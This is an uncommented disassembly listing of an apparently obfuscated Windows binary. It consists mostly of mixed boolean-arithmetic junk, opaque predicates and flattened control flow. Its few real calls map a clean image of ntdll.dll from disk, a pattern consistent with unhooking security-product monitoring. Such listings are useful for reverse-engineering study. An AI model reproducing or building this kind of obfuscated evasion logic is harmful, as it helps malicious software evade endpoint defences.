xor r9b, r11b
or r9b, al
or r11b, dil
xor r11b, 1
mov eax, r9d
and al, r11b
xor r11b, r9b
or r11b, al
mov eax, esi
xor al, 1
and sil, al
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
xor sil, r11b
mov r9d, esi
xor r9b, 1
mov ebx, r8d
or bl, r10b
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r11d, eax
xor r11b, cl
or cl, al
mov edx, esi
or dl, r9b
xor cl, 1
or cl, r11b
mov eax, ecx
and al, r10b
xor cl, 1
and cl, r8b
or cl, al
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, r9d
or al, dl
xor dl, r9b
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov r11d, ebx
xor r11b, 1
mov eax, r11d
and al, bl
xor r11b, al
xor al, 1
or al, bl
mov ecx, edx
xor cl, 1
and cl, dl
xor al, 1
or al, r11b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
mov eax, r10d
and al, r8b
mov edx, eax
and dl, r10b
xor al, r10b
or al, dl
xor r9b, r8b
xor al, sil
or sil, r10b
xor sil, 1
or sil, r9b
xor sil, 1
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, sil
mov ecx, eax
and cl, sil
xor al, sil
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xe9b8079a
mov eax, 0xecb62c9
cmovne ecx, eax
test dl, 1
not bl
cmovne ecx, eax
test bl, 1
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x18c], eax
mov eax, 0xe9b8079a
jmp 0x140022823
mov rcx, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x120]
lea r8, [rsp + 0xf8]
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rcx, str.c:windows_system32_ntdll.dll
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x130], rax
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 0
sete byte [rsp + 0x147]
mov eax, dword [0x1400c5670]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0x2b109f9e
mov eax, r9d
and eax, 0xd4ef6061
or eax, ecx
mov ecx, eax
xor ecx, 0x500f2041
xor eax, 0x2b109f9e
mov r10d, r8d
and r10d, r9d
mov edx, r10d
not edx
mov ebp, eax
and ebp, 0xafe054be
and ecx, 0x501fab41
or ecx, ebp
or eax, edx
and edx, 0xafe054be
mov ebp, r10d
and ebp, 0x501fab41
or ebp, edx
xor ebp, ecx
not eax
or eax, ebp
mov ecx, eax
not ecx
and ecx, 0xa58e4107
and eax, 0x5a71bef8
or eax, ecx
mov ebp, eax
xor ebp, 0x5a71bef8
xor eax, 0x84824103
and eax, 0x86a277c3
mov ecx, ebp
and ecx, 0x795d883c
or ecx, eax
xor ecx, 0x342bf1ac
and ebp, 0xb289866f
or ebp, ecx
mov eax, ebp
not eax
and eax, 0xc5df00f3
and ebp, 0x3a20ff0c
or ebp, eax
mov ebx, ebp
xor ebx, 0x3a20ff0c
mov eax, r8d
and eax, 0x38beef1d
mov ecx, r9d
and ecx, 0xc74110e2
or ecx, eax
xor ecx, 0x75c8968d
mov r14d, ecx
xor r14d, r8d
and r14d, ecx
mov r11d, ebp
xor r11d, 0xc5df00f3
mov edi, r14d
not edi
xor ebp, 0x24b3d9c8
and ebp, r11d
mov ecx, r11d
or ecx, 0x1e9326c4
mov edx, edi
and edx, 0x1e9326c4
mov eax, r14d
and eax, 0xe16cd93b
or eax, edx
mov edx, ebp
not edx
mov esi, edx
and esi, 0xaf9adc7f
and ebp, 0x50652380
or ebp, esi
mov esi, ecx
not esi
or edx, ecx
and ecx, 0xaf9adc7f
and esi, 0x40640100
or esi, ecx
xor esi, ebp
not edx
or edx, esi
mov ecx, edx
not ecx
and ecx, eax
not eax
and eax, edx
or eax, ecx
mov ecx, ebx
and ecx, 0x220fcbfc
and r11d, 0xddf03403
or r11d, ecx
or ebx, r14d
and r14d, 0x220fcbfc
and edi, 0xddf03403
or edi, r14d
xor edi, r11d
not ebx
or ebx, edi
not ebx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
mov ecx, ebx
xor ecx, 0xa75a39a9
and ecx, ebx
not ebx
and ebx, 0xa74a29a1
and eax, 0x101008
or eax, ebx
mov edx, eax
xor edx, 0x100000
xor eax, 0xffefeff7
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0x9de41a6d
and edx, 0x221a2180
or edx, ebx
or eax, ebp
and ebp, 0x9de41a6d
and ecx, 0x621be592
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xa06f7ea1
and eax, 0x5f90815e
or eax, ecx
mov ebp, eax
xor ebp, 0x958c8022
xor eax, 0x4a412600
and eax, 0x6a716745
and ebp, 0x958e98ba
or ebp, eax
mov eax, ebp
not eax
and eax, 0xfbe3224f
and ebp, 0x41cddb0
or ebp, eax
mov eax, ebp
xor eax, 0x6e6dbaf5
xor ebp, 0x9192450a
mov ecx, ebp
and ecx, 0x86374b5f
mov edx, eax
and edx, 0x79c8b4a0
or edx, ecx
mov ecx, edx
xor ecx, 0x44404302
or ebp, 0x8f8cf732
xor edx, 0x9bbbc6d
mov ebx, ebp
and ebx, 0xb22d98f5
and eax, 0x40520008
or eax, ebx
or ebp, edx
and edx, 0xb22d98f5
and ecx, 0x4dd2670a
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
mov ecx, eax
and ecx, ebp
mov edx, ecx
not edx
mov ebx, ebp
and ebx, 0xcb94a0e5
and eax, 0x346b5f1a
or eax, ebx
or ebp, edx
and edx, 0xcb94a0e5
and ecx, 0x346b5f1a
or ecx, edx
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0xc69a80ae
and ebp, 0x39657f51
or ebp, ecx
xor ebp, 0x39657f51
or ebp, eax
mov ecx, ebp
not ecx
mov eax, r8d
and eax, 0x98080448
mov edx, r9d
and edx, 0x478098a2
or edx, eax
xor edx, 0x478098a2
mov eax, r9d
xor eax, 0xdf889cea
and eax, r9d
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xbdc8030
and eax, 0xf4237fcf
or eax, edx
mov ebx, eax
xor ebx, 0x5bd8ebe8
mov edi, r8d
and edi, 0xe9687e03
mov edx, r9d
and edx, 0x169781fc
or edx, edi
mov edi, edx
xor edi, 0x169781fc
xor eax, 0xa4271417
and edi, eax
xor edx, 0xe9687e03
and edx, ebx
or edx, edi
not edx
or edx, eax
mov eax, edx
not eax
mov ebx, ebp
and ebx, edx
mov edi, ebp
xor edi, edx
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xeb590dad
and edi, 0x14a6f252
or edi, ebx
mov ebx, edi
xor ebx, 0x14a6f252
and ebp, 0xa7b35a7e
mov esi, ecx
and esi, 0x584ca581
or esi, ebp
xor esi, eax
xor esi, 0xa7b35a7e
and esi, eax
and edx, 0x88ef81be
and eax, 0x77107e41
or eax, edx
xor eax, ecx
xor eax, 0x88ef81be
and eax, ecx
mov ebp, esi
not ebp
mov ecx, eax
not ecx
mov edx, ebp
and edx, 0x7591383c
and esi, 0x8a6ec7c3
or esi, edx
or ebp, ecx
and ecx, 0x7591383c
and eax, 0x8a6ec7c3
or eax, ecx
xor eax, esi
not ebp
or ebp, eax
mov r11d, edi
xor r11d, 0xeb590dad
mov r14d, ebp
not r14d
xor edi, 0x24851a20
mov edx, edi
and edx, r11d
and edi, ebx
mov ecx, ebp
xor ecx, 0x3023e872
mov eax, ecx
and eax, r14d
and ecx, ebp
mov esi, edx
and esi, edi
xor edi, edx
or edi, esi
mov esi, eax
not esi
mov edx, esi
and edx, 0x8f4d6b4c
and eax, 0x70b294b3
or eax, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x8f4d6b4c
and ecx, 0x70b294b3
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, edi
not eax
and eax, esi
not esi
and esi, edi
or esi, eax
mov eax, ebx
and eax, 0x18d867d6
and r11d, 0xe7279829
or r11d, eax
or ebx, ebp
and ebp, 0x18d867d6
and r14d, 0xe7279829
or r14d, ebp
xor r14d, r11d
not ebx
or ebx, r14d
mov eax, ebx
not eax
and eax, 0xc9a8f98d
and ebx, 0x36570672
or ebx, eax
mov ecx, ebx
xor ecx, 0x14420642
mov eax, esi
not eax
xor ebx, 0xc9a8f98d
mov edx, eax
and edx, 0xab956838
and esi, 0x546a97c7
or esi, edx
or eax, ebx
and ebx, 0xab956838
and ecx, 0x546a97c7
or ecx, ebx
xor ecx, esi
not eax
or eax, ecx
mov ebp, eax
not ebp
mov edx, eax
and edx, 0x1048a6f6
mov ecx, ebp
and ecx, 0xefb75909
or ecx, edx
mov edx, ecx
xor edx, 0x104000c4
xor ecx, 0x8f845101
and ecx, 0x8f8cf733
and edx, 0x707308cc
or edx, ecx
mov edi, edx
xor edi, 0x8f8cf733
and edi, edx
and ebp, 0xa14ba5f7
and eax, 0x5eb45a08
or eax, ebp
mov ecx, eax
xor ecx, 0x5eb45a08
xor eax, 0x10b8061
and eax, 0x1b2f8a69
mov edx, ecx
and edx, 0xe4d07596
or edx, eax
xor edx, 0x6b5c82a5
and ecx, 0x707308cc
or ecx, edx
mov eax, ecx
not eax
mov edx, edi
not edx
mov ebp, edx
or ebp, ecx
mov ebx, ebp
not ebx
and edx, 0x2962d5c6
and edi, 0xd69d2a39
or edi, edx
and ecx, 0x2962d5c6
and eax, 0xd69d2a39
or eax, ecx
xor eax, edi
mov ecx, eax
not ecx
mov edx, ebp
and edx, 0xbf183a6e
and ebx, 0x40e7c591
or ebx, edx
or ebp, ecx
and ecx, 0xbf183a6e
and eax, 0x40e7c591
or eax, ecx
xor eax, ebx
not ebp
or ebp, eax
mov ecx, ebp
not ecx
mov eax, ebp
and ebp, 0x85845e35
mov edx, ecx
and edx, 0x7a7ba1ca
or edx, ebp
xor edx, 0x7a7ba1ca
or edx, ecx
and ecx, 0x623529d6
and eax, 0x9dcad629
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xd6437809
and eax, 0x29bc87f6
or eax, ecx
mov ecx, eax
xor ecx, 0x40080400
xor eax, 0x20601097
and ecx, 0xd41e4548
and eax, 0x2be1bab7
or eax, ecx
mov r15d, eax
xor r15d, 0xd41e4548
xor eax, 0x2be1bab7
mov ecx, edx
not ecx
and ecx, 0xd7ba7c9e
and edx, 0x28458361
or edx, ecx
mov ecx, edx
xor ecx, 0x28458361
xor edx, 0xd7ba7c9e
and ecx, r15d
or r15d, edx
mov ebp, r15d
not ebp
and edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, r15d
and ecx, 0x3261bdad
and ebp, 0xcd9e4252
or ebp, ecx
or r15d, eax
and eax, 0x3261bdad
and edx, 0xcd9e4252
or edx, eax
xor edx, ebp
not r15d
or r15d, edx
mov eax, r8d
and eax, r10d
xor r10d, r8d
or r10d, eax
mov eax, r10d
not eax
and eax, 0x4c18ac49
and r10d, 0xb3e753b6
or r10d, eax
mov eax, r10d
xor eax, 0x31c40132
and eax, 0x7dcca97b
xor r10d, 0xce2bfacd
or r10d, eax
mov eax, r10d
not eax
and eax, 0x3862be74
and r10d, 0xc79d418b
or r10d, eax
mov ecx, r10d
xor ecx, 0x81084109
xor r10d, 0x3862be74
and r8d, 0x8ad322a0
and r9d, 0x752cdd5f
or r9d, r8d
mov eax, r9d
xor eax, 0x205404
and eax, 0x82335684
xor r9d, 0xf71f8bdb
or r9d, eax
mov eax, r9d
not eax
mov r12d, r10d
or r12d, r9d
mov edx, r12d
not edx
and r10d, 0x569532a6
and ecx, 0xa96acd59
or ecx, r10d
and r9d, 0x569532a6
and eax, 0xa96acd59
or eax, r9d
xor eax, ecx
mov ecx, eax
not ecx
mov esi, r12d
and esi, 0xda097256
and edx, 0x25f68da9
or edx, esi
or r12d, ecx
and ecx, 0xda097256
and eax, 0x25f68da9
or eax, ecx
xor eax, edx
not r12d
or r12d, eax
mov eax, r12d
not eax
and eax, 0x7dcca97b
and r12d, 0x82335684
or r12d, eax
mov r10d, r15d
not r10d
mov esi, r10d
and esi, r15d
mov eax, r10d
and eax, esi
xor esi, r10d
or esi, eax
mov r8d, r12d
not r8d
mov eax, r8d
and eax, 0xa12090
mov ecx, r12d
and ecx, 0x904a0061
or ecx, eax
xor ecx, 0x904a0061
mov r13d, r12d
xor r13d, 0x90eb20f1
and r13d, r12d
mov eax, ecx
and eax, r13d
xor r13d, ecx
or r13d, eax
mov eax, r13d
not eax
and eax, 0x6f14df0e
and r13d, 0x90eb20f1
or r13d, eax
mov eax, esi
not eax
mov r9d, eax
and r9d, 0xd69bb947
mov ecx, r13d
not ecx
mov edi, ecx
and edi, 0xd69bb947
mov r11d, r13d
and r11d, 0x296446b8
or r11d, edi
mov r14d, r11d
xor r14d, ecx
and r13d, eax
or eax, ecx
and ecx, esi
xor esi, 0x296446b8
or esi, r9d
mov edi, esi
not edi
and edi, 0x50f821e0
and esi, 0xaf07de1f
or esi, edi
and r10d, 0x296446b8
xor r15d, 0xd69bb947
or r15d, r10d
mov ebx, r15d
not ebx
and ebx, 0xdb41d4cb
and r15d, 0x24be2b34
or r15d, ebx
and r14d, r11d
mov ebx, esi
xor ebx, 0x2e001206
and r8d, 0x296446b8
xor r12d, 0xd69bb947
or r12d, r8d
mov ebp, r12d
not ebp
and ebp, 0x57e607d2
and r12d, 0xa819f82d
or r12d, ebp
xor esi, 0x50f821e0
mov ebp, esi
and esi, 0xd10fcdf9
and ebx, 0x2ef03206
or ebx, esi
mov edi, r15d
xor edi, 0x24b02204
xor r15d, 0xdb41d4cb
or ebp, r15d
and r15d, 0xd10fcdf9
and edi, 0x2ef03206
or edi, r15d
mov esi, ebp
not esi
xor edi, ebx
mov ebx, ebp
and ebx, 0x1d9ffa16
and esi, 0xe26005e9
or esi, ebx
mov ebx, edi
not ebx
or ebp, ebx
and ebx, 0x1d9ffa16
and edi, 0xe26005e9
or edi, ebx
xor edi, esi
not ebp
or ebp, edi
mov ebx, r14d
not ebx
mov edi, ebx
and ebx, 0x4d648a33
and r14d, 0xb29b75cc
or r14d, ebx
mov ebx, r12d
xor ebx, 0xa019700c
xor r12d, 0x57e607d2
or edi, r12d
not edi
and r12d, 0x4d648a33
and ebx, 0xb29b75cc
or ebx, r12d
xor ebx, r14d
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebp
not edi
mov esi, edi
and esi, 0xf1538bd0
and ebp, 0xeac742f
or ebp, esi
mov r8d, ebp
xor r8d, 0x2a41022
xor ebp, 0x50420200
or edi, 0xd2ee7ae2
mov edx, edi
not edx
or ebp, 0x4110008
and ebp, 0x545b6208
and r8d, 0x82a418e2
or r8d, ebp
mov esi, ebx
xor esi, 0xd2ee7ae2
and esi, ebx
or ebx, 0x2d11851d
and edi, 0x545b6208
and edx, 0x29008515
or edx, edi
mov ebp, ebx
not ebp
xor edx, r8d
mov edi, ebx
and edi, 0xdf33d35f
and ebp, 0xcc28a0
or ebp, edi
mov edi, esi
not edi
or ebx, edi
and edi, 0xdf33d35f
and esi, 0x20cc2ca0
or esi, edi
xor esi, ebp
not ebx
or ebx, esi
mov ebp, edx
not ebp
and ebp, ebx
not ebx
and ebx, edx
or ebx, ebp
mov edx, eax
not edx
or ecx, r13d
mov ebp, ecx
not ebp
mov edi, eax
and edi, 0xd85cf7b3
and edx, 0x27a3084c
or edx, edi
or eax, ebp
and ebp, 0xd85cf7b3
and ecx, 0x27a3084c
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ebp, eax
not ebp
or eax, 0x5f1beee0
mov edx, eax
not edx
or ebp, 0xa0e4111f
mov ecx, ebp
not ecx
and eax, 0x14f8972d
and edx, 0xa0040012
or edx, eax
and ebp, 0x14f8972d
and ecx, 0x4b0368c0
or ecx, ebp
xor ecx, edx
mov eax, ecx
not eax
and eax, 0x5f1beee0
and ecx, 0xa0e4111f
or ecx, eax
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x93bcb579
and ecx, 0x6c434a86
or ecx, eax
xor ecx, 0x93bcb579
xor ebp, ecx
and ebp, ecx
mov r8d, ebx
not r8d
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x6305116d
and ebp, 0x9cfaee92
or ebp, ecx
mov r9d, ebp
mov edx, r8d
and edx, 0xf4061fec
mov esi, ebx
xor esi, 0xf4061fec
and esi, ebx
xor ebp, 0x6305116d
mov edi, edx
and edi, esi
xor esi, edx
mov ecx, ebp
or ecx, 0xbf9e013
or esi, edi
mov edx, ecx
not edx
or eax, 0xf4061fec
and ecx, 0xe0d5e9d4
and edx, 0x14021628
or edx, ecx
mov edi, eax
not edi
and eax, 0xe0d5e9d4
and edi, 0xb280003
or edi, eax
xor edi, edx
mov eax, esi
not eax
and eax, edi
not edi
and edi, esi
or edi, eax
mov eax, ebx
and eax, 0x22fd0f7b
and r8d, 0xdd02f084
or r8d, eax
mov eax, dword [0x1400c566c]
xor r9d, 0x9c02e080
or ebx, ebp
and ebp, 0x22fd0f7b
and r9d, 0xdd02f084
or r9d, ebp
xor r9d, r8d
not ebx
or ebx, r9d
mov ecx, ebx
not ecx
and ecx, 0x930926b2
and ebx, 0x6cf6d94d
or ebx, ecx
xor ebx, 0x6cf6d94d
mov ecx, edi
and ecx, ebx
xor ebx, edi
or ebx, ecx
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0x40430059
mov edx, ebx
or ebp, ebx
and ebx, 0x820b2a4
or ebx, ecx
xor ebx, 0x820b2a4
and edx, 0xb79c4d02
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xb79c4d02
and edx, 0x4863b2fd
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5d827cd9
and edx, 0xa27d8326
or edx, ecx
mov ebx, edx
xor ebx, 0xa2210120
xor edx, 0x5d827cd9
mov ecx, ebp
not ecx
mov edi, edx
xor edi, ebp
and edi, edx
and ebx, 0xe6a10db9
and edx, 0x195ef246
or edx, ebx
and ebp, 0xe6a10db9
and ecx, 0x195ef246
or ecx, ebp
xor ecx, edx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1098000
mov ebp, ecx
and ebp, 0x4026590c
or ebp, edx
xor ebp, 0x4026590c
and ecx, 0xbed026f3
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xbed026f3
and ecx, 0x412fd90c
or ecx, edx
mov edx, ecx
not edx
and edx, 0xefdacecf
and ecx, 0x10253130
or ecx, edx
mov ebx, ecx
xor ebx, 0x27c2c64b
xor ecx, 0x10120
and ecx, 0xc81909a4
and ebx, 0x37e6f65b
or ebx, ecx
mov ecx, ebx
xor ecx, 0x88190180
xor ebx, 0x15a2544a
or ecx, 0x55a25c6e
mov ebp, ecx
not ebp
or ebx, 0xaa5da391
mov edx, ebx
not edx
and ecx, 0x68ebec16
and ebp, 0x82140381
or ebp, ecx
and ebx, 0x68ebec16
and edx, 0x15001068
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0x55a25c6e
and edx, 0xaa5da391
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x94529fc7
and ecx, 0x6bad6038
or ecx, edx
mov edx, ecx
xor edx, 0x80029f47
xor ecx, 0x23282008
and ecx, 0x37782088
and edx, 0xc887df77
or edx, ecx
xor edx, 0xc887df77
setne r9b
sete r8b
cmp eax, 0xa
setl sil
cmp eax, 9
setg bpl
mov eax, ebp
xor al, r8b
mov ecx, eax
xor cl, sil
and cl, al
mov eax, r9d
and al, sil
mov ebx, ebp
and bl, r8b
or bl, al
xor bl, cl
mov eax, ebx
xor al, 1
and cl, al
mov edx, ecx
xor dl, 1
xor cl, bl
or dl, al
xor dl, 1
or dl, cl
mov edi, edx
xor dil, 1
or dil, dl
mov ebx, edi
xor bl, 1
mov eax, ebx
and al, dil
mov ecx, eax
xor cl, 1
xor al, bl
or cl, dil
xor cl, 1
or cl, al
xor cl, dl
xor cl, 1
mov eax, edx
and al, dil
xor dil, dl
or dil, al
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov r11d, esi
xor r11b, bpl
mov eax, r11d
xor al, 1
and r11b, al
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov ecx, r11d
xor cl, 1
xor r9b, r8b
mov r10d, r9d
xor r10b, 1
mov eax, ecx
and al, sil
or cl, bpl
and bpl, r11b
or bpl, al
mov eax, ebp
xor al, sil
and al, bpl
or r11b, sil
mov edx, r11d
xor dl, cl
or r11b, cl
xor r11b, 1
or r11b, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, r11b
xor r11b, 1
and al, r11b
or al, dl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
xor r11b, 1
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
mov edx, r9d
and dl, r10b
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov esi, edx
xor sil, 1
or r10b, r9b
mov ebx, r10d
xor bl, 1
mov eax, r10d
and al, bl
mov ebp, esi
and bpl, dl
mov ecx, ebp
xor cl, 1
mov r14d, edx
xor r14b, cl
or cl, dl
xor cl, 1
or cl, r14b
xor al, 1
mov r14d, ebx
xor r14b, al
or al, bl
xor al, 1
or al, r14b
xor al, cl
xor r10b, sil
or bl, dl
xor bl, 1
or bl, r10b
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
and r9b, r8b
xor cl, 1
xor al, 1
or al, cl
mov ebx, r9d
xor bl, 1
or bl, al
xor al, 1
or al, r9b
xor al, 1
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, esi
and al, bpl
xor bpl, sil
or bpl, al
xor bpl, r8b
xor bpl, 1
mov eax, r8d
xor al, dl
or dl, r8b
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebp
and al, dl
xor dl, bpl
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov r8d, edx
xor r8b, 1
mov ecx, edx
and cl, r8b
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor cl, 1
and cl, bl
xor bl, 1
and al, bl
or cl, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov edx, r11d
xor dl, 1
mov ecx, ebx
xor cl, 1
mov r8d, r11d
and r8b, cl
mov eax, ebx
and al, dl
or al, r8b
xor al, 1
or al, cl
and cl, bl
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
mov r9d, edi
xor r9b, 1
xor cl, 1
or cl, r8b
mov ebx, eax
xor bl, 1
xor dl, cl
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
mov ebx, r9d
xor bl, cl
mov r10d, r8d
and r10b, dil
and cl, r9b
or r10b, cl
or cl, bl
and bl, r9b
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
and dil, r9b
mov eax, r9d
and al, dil
xor dil, r9b
or dil, al
xor dil, 1
mov eax, r8d
and al, dil
xor dil, r8b
or dil, al
mov eax, edi
xor al, 1
mov ebx, edi
and bl, al
mov edx, edi
xor dl, bl
xor bl, 1
or bl, al
mov eax, ecx
xor al, 1
xor bl, 1
or bl, dl
mov edx, ebx
and bl, al
xor dl, 1
and dl, cl
or bl, dl
mov eax, edi
and al, cl
xor cl, dil
mov edx, r10d
xor dl, 1
or cl, al
xor cl, 1
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, r10b
or al, dl
and dl, cl
or dl, bl
mov ebx, edx
xor bl, r10b
and bl, dl
xor al, 1
or cl, r10b
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ebx, eax
xor bl, dl
test dl, 1
mov ecx, 0xf60a917c
mov edx, 0x3f3ddac3
cmovne ecx, edx
test al, 1
mov eax, 0xf60a917c
cmovne ecx, eax
test bl, 1
cmove ecx, edx
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov rcx, qword [rsp + 0x138]
mov qword [rsp + 0x20], 0
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rax, qword [rsp + 0x128]
mov rax, qword [rsp + 0x128]
mov ecx, 0xc9487b4a
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
cmp qword [rsp + 0x120], 0
mov ecx, 0x4f1408b1
mov eax, 0x9e4a96b6
jmp 0x140022823
mov ecx, 0xe9b8079a
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov ecx, 0x7e06b36f
mov dword [rsp + 0x54], 0
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov eax, dword [0x1400c5670]
lea r9d, [rax - 1]
imul r9d, eax
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0xd84400c0
mov eax, r9d
and eax, 0x4208411
or eax, ecx
mov ecx, eax
xor ecx, 0x208011
xor eax, 0xfbdf7bee
mov edx, r9d
xor edx, 0xdc6484d1
and edx, r9d
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xdd5b34e6
and ecx, 0x248011
or ecx, ebx
or eax, ebp
and ebp, 0xdd5b34e6
and edx, 0x22a4cb19
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x239b7b2e
and eax, 0xdc6484d1
or eax, ecx
mov ebp, eax
not ebp
and eax, 0x181e688f
and ebp, 0xe7e19770
or ebp, eax
mov esi, ebp
xor esi, 0xe7e19770
mov r11d, ebp
xor r11d, 0x181c6801
mov eax, r8d
and eax, 0x101dd7ed
mov edi, r9d
and edi, 0xefe22812
or edi, eax
xor edi, 0x101dd7ed
or edi, r8d
mov r10d, edi
not r10d
mov edx, esi
or edx, 0x73bc881
mov r15d, edx
not r15d
xor ebp, 0x1f25a00e
and ebp, esi
mov eax, edi
xor eax, 0x73bc881
and eax, edi
mov r14d, edi
or r14d, 0xf8c4377e
mov ecx, r14d
not ecx
mov ebx, ebp
not ebx
mov r12d, edx
and r12d, 0x2bb6d18b
and r15d, 0xd0402674
or r15d, r12d
or edx, ebx
and ebx, 0x2bb6d18b
and ebp, 0xd4492e74
or ebp, ebx
xor ebp, r15d
not edx
or edx, ebp
mov ebx, eax
not ebx
mov ebp, ebx
and ebp, 0xb237e279
and eax, 0x4dc81d86
or eax, ebp
or ebx, r14d
and r14d, 0xb237e279
and ecx, 0x5080880
or ecx, r14d
xor ecx, eax
not ebx
or ebx, ecx
mov eax, edx
not eax
and eax, 0xb3ca3dd4
and edx, 0x4c35c22b
or edx, eax
mov eax, ebx
not eax
and eax, 0xb3ca3dd4
and ebx, 0x4c35c22b
or ebx, eax
xor ebx, edx
mov eax, esi
and eax, 0x40e282ae
and r11d, 0xbf1d7d51
or r11d, eax
or esi, r10d
and r10d, 0x40e282ae
and edi, 0xbf1d7d51
or edi, r10d
xor edi, r11d
not esi
or esi, edi
mov eax, esi
not eax
and eax, 0xfb083cff
and esi, 0x4f7c300
or esi, eax
xor esi, 0x4f7c300
mov eax, ebx
and eax, esi
xor esi, ebx
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, esi
mov ebp, ecx
not ebp
mov ebx, esi
and ebx, 0xf850bc8c
and eax, 0x7af4373
or eax, ebx
or esi, ebp
and ebp, 0xf850bc8c
and ecx, 0x7af4373
or ecx, ebp
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
mov edx, esi
xor edx, 0x614d361d
and edx, esi
not esi
and esi, 0xc47e8deb
and eax, 0x3b817214
or eax, esi
mov ebp, eax
xor ebp, 0x3b817214
xor eax, 0xc47e8deb
mov ecx, eax
or ecx, 0x9eb2c9e2
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xb83ce1b8
and ebx, 0x41411605
or ebx, esi
or ecx, edi
and edi, 0xb83ce1b8
and edx, 0x47c31e47
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
and edx, 0x9eb2c9e2
not ecx
and ecx, 0x614d361d
or ecx, edx
or eax, ebp
not eax
